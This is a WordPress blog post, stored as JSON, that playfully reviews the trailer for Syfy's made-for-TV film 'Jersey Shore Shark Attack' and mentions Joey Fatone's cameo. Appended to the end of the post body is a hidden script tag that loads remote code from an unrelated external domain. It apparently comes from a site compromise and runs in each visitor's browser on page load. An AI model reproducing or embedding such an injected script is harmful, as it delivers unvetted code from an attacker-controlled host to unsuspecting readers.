{"id":2430,"date":"2012-04-18T17:35:47","date_gmt":"2012-04-18T23:35:47","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=2430"},"modified":"2012-04-18T17:36:21","modified_gmt":"2012-04-18T23:36:21","slug":"jersey-shore-shark-attack","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=2430","title":{"rendered":"Jersey Shore Shark Attack"},"content":{"rendered":"<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=2431\" rel=\"attachment wp-att-2431\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/04\/joey-fatone-jersey-shore-shark-attack.jpg\" alt=\"\" title=\"joey-fatone-jersey-shore-shark-attack\" width=\"600\" height=\"400\" class=\"alignnone size-full wp-image-2431\" \/><\/a><br \/>\nIf you like &#8220;Jersey Shore&#8221; and Syfy&#8217;s ridiculous, low-budget B-movies starring Z-listers, then prepare for your newest obsession: &#8220;Jersey Shore Shark Attack.&#8221; It&#8217;s the latest in Syfy&#8217;s pop culture-mining made-for-TV movies, and it features this line: &#8220;There are white-finned killer albino sharks out there.&#8221; Do you need to be sold further?<\/p>\n<p>While the premise in and of itself is ridiculous, the best part is that everyone acting in the movie is totally in on the joke, even former &#8216;NSync member Joey Fatone, who plays himself and gives us the best moment of the trailer.<\/p>\n<p>A poorly CGI&#8217;d shark flies through the air and chomps up the former boy bander while he&#8217;s onstage somewhere, prompting a news report by Vinny Guadagnino (yes, the actual &#8220;Jersey Shore&#8221; star) with the line &#8220;Joey Fatone has just been eaten by a shark!&#8221;<\/p>\n<p>&#8220;Jersey Shore Shark Attack&#8221; premieres this summer on Syfy.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>If you like &#8220;Jersey Shore&#8221; and Syfy&#8217;s ridiculous, low-budget B-movies starring Z-listers, then prepare for your newest obsession: &#8220;Jersey Shore Shark Attack.&#8221; It&#8217;s the latest in Syfy&#8217;s pop culture-mining made-for-TV movies, and it features this line: &#8220;There are white-finned killer albino sharks out there.&#8221; Do you need to be sold further? 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